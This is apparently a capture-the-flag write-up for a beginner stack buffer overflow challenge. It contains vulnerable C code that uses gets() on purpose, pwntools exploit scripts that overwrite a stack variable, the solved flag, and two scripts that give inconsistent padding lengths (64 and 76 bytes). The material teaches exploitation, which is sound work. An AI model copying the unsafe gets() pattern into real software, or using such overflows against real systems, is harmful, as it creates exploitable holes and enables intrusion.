#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char *gets(char *s);
void vuln() {
int check = 0xdeadbeef;
char buffer[64];
printf("╔════════════════════════════════════════════════════╗\n");
printf("║ BUFFER OVERFLOW CHALLENGE ║\n");
printf("║ Can you overwrite the check variable? ║\n");
printf("╚════════════════════════════════════════════════════╝\n");
printf("\nEnter your input: ");
fflush(stdout);
gets(buffer);
printf("\nCheck variable: 0x%x\n", check);
if (check == 0xcafebabe) {
puts("\n[+] Congratulations! You controlled the variable!");
system("cat flag.txt");
} else {
puts("\n[-] Check failed");
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
vuln();
return 0;
}
| Field | Value |
|---|---|
| Category | PWN |
| Difficulty | Easy |
| Points | 50-100 |
| Author | R3t0x |
| Technique | Variable Overwrite via Buffer Overflow |
pwndbg> checksec ./b0f
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
int check = 0xdeadbeef;
char buffer[64];
gets(buffer); // UNLIMITED input!
if (check == 0xcafebabe) {
system("cat flag.txt");
}
Classic gets() overflow. The check variable sits directly above buffer on the stack. We overflow 64 bytes of buffer + overwrite check with 0xcafebabe.
from pwn import *
io = remote('35.159.81.154', 7004)
payload = b'A' * 64 + p32(0xcafebabe)
io.sendline(payload)
io.interactive()
Check variable: 0xcafebabe
[+] Congratulations! You controlled the variable!
Securinets_fst{d4ddy_1_ju5t_pwn3d_4_b0f}
from pwn import *
#start the process
p = remote('localhost',7004)
# Wait for prompt
p.recvuntil(b'input: ')
# Send payload: 76 bytes padding + target value
payload = b'A' * 76 + p32(0xcafebabe)
p.sendline(payload)
# Get flag
print(p.recvall().decode())